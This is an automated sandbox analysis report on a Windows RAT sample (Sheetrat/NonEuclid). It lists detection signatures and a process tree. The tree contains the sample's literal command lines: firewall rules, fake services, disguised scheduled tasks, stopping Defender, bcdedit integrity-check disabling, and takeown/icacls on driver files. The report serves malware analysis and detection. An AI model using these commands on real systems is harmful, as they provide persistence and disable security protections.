Analysis
- max time kernel
149s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
29/09/2026, 15:47
General
- Target 2026-09-29_d6299c44d3657112dae4c2e90774c2e2_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
- Size 699KB
- Sample260929-s8n57svfph
- SHA256 a078131835188a3182c5267ff92fd867e88ff0bc1607063a93a8c64c11f73f29
Score
10/10
Malware Config
Signatures
- Family: Sheetrat, NonEuclid rat
Sheetrat aka NonEuclid RAT is a trojan written in C#.
- Detects Sheetrat Payload 2 IoCs
Sheetrat aka NonEuclid RAT is a trojan written in C#.
- Modifies WinLogon for persistence 2 TTPs 1 IoCs
- Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 2 IoCs
- Modifies Windows Defender TamperProtection settings 3 TTPs 2 IoCs
- UAC bypass 3 TTPs 8 IoCs
- Detects binaries and memory artifacts referencing sandbox DLLs typically observed in sandbox evasion 2 IoCs
- Detects executables (downlaoders) containing URLs to raw contents of a paste 2 IoCs
- Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
- Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
- Drops file in Drivers directory 32 IoCs
- Modifies Windows Firewall 2 TTPs 2 IoCs
- Possible privilege escalation attempt 52 IoCs
- Creates new service(s) 2 TTPs
- Executes a file named after a Windows system binary 1 TTPs 3 IoCs
The file runs from a user directory while carrying the name of an executable that normally only exists in System32.
- Executes dropped EXE 5 IoCs
- Loads dropped DLL 1 IoCs
- Modifies file permissions 1 TTPs 52 IoCs
- Registers new Windows logon scripts automatically executed at logon. 1 TTPs 2 IoCs
- Stops running service(s) 4 TTPs
- Windows security modification 2 TTPs 2 IoCs
- Checks whether UAC is enabled 1 TTPs 4 IoCs
- Enumerates connected drives 3 TTPs 52 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Drops file in System32 directory 1 IoCs
- Drops file in Windows directory 4 IoCs
- Launches sc.exe 8 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Executes a command shell one-liner 1 TTPs 14 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 12 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- Modifies data under HKEY_USERS 2 IoCs
- Modifies registry class 7 IoCs
- Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 22 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SendNotifyMessage 64 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- System policy modification 1 TTPs 12 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-09-29_d6299c44d3657112dae4c2e90774c2e2_amadey_cobalt-strike_darkgate_glassworm_icedid.exe"C:\Users\Admin\AppData\Local\Temp\2026-09-29_d6299c44d3657112dae4c2e90774c2e2_amadey_cobalt-strike_darkgate_glassworm_icedid.exe"1⤵
- Modifies WinLogon for persistence
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender TamperProtection settings
- UAC bypass
- Drops file in Drivers directory
- Executes a file named after a Windows system binary
- Registers new Windows logon scripts automatically executed at logon.
- Windows security modification
- Checks whether UAC is enabled
- Drops file in System32 directory
- Drops file in Windows directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\2026-09-29_d6299c44d3657112dae4c2e90774c2e2_amadey_cobalt-strike_darkgate_glassworm_icedid.exe" enable=yes & exit2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\2026-09-29_d6299c44d3657112dae4c2e90774c2e2_amadey_cobalt-strike_darkgate_glassworm_icedid.exe" enable=yes3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /S2⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"2⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-09-29_d6299c44d3657112dae4c2e90774c2e2_amadey_cobalt-strike_darkgate_glassworm_icedid.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"2⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"2⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /D2⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /S2⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /D2⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /S2⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_79eec53c" /F2⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_79eec53c" /XML "C:\Users\Admin\AppData\Local\Temp\9657fb5c-d4d4-41a7-be02-fb213549e4e6.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 11 /tn "MicrosoftEdgeUpdate" /tr "C:\Windows\System32\BootFiles\BootExecutor.exe" /RL HIGHEST & exit2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc minute /mo 11 /tn "MicrosoftEdgeUpdate" /tr "C:\Windows\System32\BootFiles\BootExecutor.exe" /RL HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /S2⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_8fc0a240" /F2⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc" start TrustedInstaller2⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_8fc0a240" /XML "C:\Users\Admin\AppData\Local\Temp\60624c1e-e816-4341-844d-1c359cd204a6.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\CMD.exe"CMD" netsh advfirewall firewall add rule name="WindowsControl" dir=in action=allow program="C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" enable=yes & exit2⤵
-
-
C:\Windows\SYSTEM32\CMD.exe"CMD" /c schtasks /delete /F /TN "crk fatality.win" & exit2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /delete /F /TN "crk fatality.win"3⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /tn "crk fatality.win" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" & exit2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /tn "crk fatality.win" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c schtasks /create /f /tn "crk fatality.win_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /tn "crk fatality.win_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c schtasks /create /f /tn "crk fatality.win_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /tn "crk fatality.win_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c schtasks /create /f /tn "crk fatality.win_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance" & exit2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /tn "crk fatality.win_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c schtasks /create /f /tn "crk fatality.win_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance" & exit2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /tn "crk fatality.win_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "FamilySafetyRefreshTask_53b46a47" /F2⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "FamilySafetyRefreshTask_53b46a47" /XML "C:\Users\Admin\AppData\Local\Temp\92c451c7-a3c0-4437-b08f-b62e9d9b118c.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /S2⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "ProgramDataUpdater_74633ece" /F2⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "ProgramDataUpdater_74633ece" /XML "C:\Users\Admin\AppData\Local\Temp\9cbba8e5-b840-4cf5-a826-bf5729a3c0fc.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\net.exe"net" stop WinDefend2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WinDefend3⤵
-
-
-
C:\Windows\SYSTEM32\net.exe"net" start WinDefend2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start WinDefend3⤵
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_2e39cb0b" /F2⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_2e39cb0b" /XML "C:\Users\Admin\AppData\Local\Temp\ff03a796-76d9-4c34-9885-2def2d6dfca5.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_19b7ac7d" /F2⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /S2⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_19b7ac7d" /XML "C:\Users\Admin\AppData\Local\Temp\164a1f13-ecf2-493d-9fcd-dc9e1df0a94f.xml" /F2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\bcdedit.exe"bcdedit" /set testsigning on2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\SYSTEM32\bcdedit.exe"bcdedit" /set nointegritychecks on2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\null.sys" /grant administrators:F /t /c2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exe"takeown" /f "C:\Windows\system32\drivers\null.sys" /a2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\null.sys" /grant administrators:F2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\beep.sys" /grant administrators:F /t /c2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exe"takeown" /f "C:\Windows\system32\drivers\beep.sys" /a2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\beep.sys" /grant administrators:F2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\rasl2tp.sys" /grant administrators:F /t /c2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exe"takeown" /f "C:\Windows\system32\drivers\rasl2tp.sys" /a2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\rasl2tp.sys" /grant administrators:F2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\raspppoe.sys" /grant administrators:F /t /c2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exe"takeown" /f "C:\Windows\system32\drivers\raspppoe.sys" /a2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\raspppoe.sys" /grant administrators:F2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /S2⤵
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\raspptp.sys" /grant administrators:F /t /c2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exe"takeown" /f "C:\Windows\system32\drivers\raspptp.sys" /a2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\raspptp.sys" /grant administrators:F2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\modem.sys" /grant administrators:F /t /c2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exe"takeown" /f "C:\Windows\system32\drivers\modem.sys" /a2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\modem.sys" /grant administrators:F2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\parport.sys" /grant administrators:F /t /c2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\serenum.sys" /grant administrators:F /t /c2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\serial.sys" /grant administrators:F /t /c2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\usbprint.sys" /grant administrators:F /t /c2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /S2⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" M: /S2⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" M: /D2⤵
- Enumerates connected drives
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" N: /S2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" N: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" O: /S2⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" O: /D2⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" P: /S2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe"C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe"2⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender TamperProtection settings
- UAC bypass
- Drops file in Drivers directory
- Executes a file named after a Windows system binary
- Executes dropped EXE
- Registers new Windows logon scripts automatically executed at logon.
- Windows security modification
- Checks whether UAC is enabled
- Drops file in Windows directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- System policy modification
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" enable=yes & exit3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" enable=yes4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /S3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"3⤵
- Launches sc.exe
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc" start TrustedInstaller3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\CMD.exe"CMD" /c schtasks /delete /F /TN "crk fatality.win" & exit3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /delete /F /TN "crk fatality.win"4⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c schtasks /create /f /tn "crk fatality.win_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /tn "crk fatality.win_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance"4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c schtasks /create /f /tn "crk fatality.win_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /tn "crk fatality.win_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance"4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c schtasks /create /f /tn "crk fatality.win_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance" & exit3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /tn "crk fatality.win_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance"4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c schtasks /create /f /tn "crk fatality.win_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance" & exit3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /tn "crk fatality.win_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance"4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "UsbCeip_0d3be178" /F3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /S3⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "UsbCeip_0d3be178" /XML "C:\Users\Admin\AppData\Local\Temp\94f72ed5-3e94-4834-a435-e576a0aab4b1.xml" /F3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\net.exe"net" stop WinDefend3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WinDefend4⤵
-
-
-
C:\Windows\SYSTEM32\net.exe"net" start WinDefend3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start WinDefend4⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /S3⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "Intel PTT EK Recertification_7eb6361d" /F3⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "Intel PTT EK Recertification_7eb6361d" /XML "C:\Users\Admin\AppData\Local\Temp\69deca80-712d-4093-93bd-8a5a8830b05a.xml" /F3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\bcdedit.exe"bcdedit" /set testsigning on3⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\SYSTEM32\bcdedit.exe"bcdedit" /set nointegritychecks on3⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /S3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\null.sys" /grant administrators:F /t /c3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "User_Feed_Synchronization-4bb7eeae-21e5-4d2e-bcac-42f5bc774c29" /F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exe"takeown" /f "C:\Windows\system32\drivers\null.sys" /a3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "User_Feed_Synchronization-4bb7eeae-21e5-4d2e-bcac-42f5bc774c29" /XML "C:\Users\Admin\AppData\Local\Temp\97bc1671-4805-4447-91de-be4f869e8b55.xml" /F3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\null.sys" /grant administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /S3⤵
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\beep.sys" /grant administrators:F /t /c3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exe"takeown" /f "C:\Windows\system32\drivers\beep.sys" /a3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\beep.sys" /grant administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /D3⤵
- Enumerates connected drives
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /S3⤵
-
-
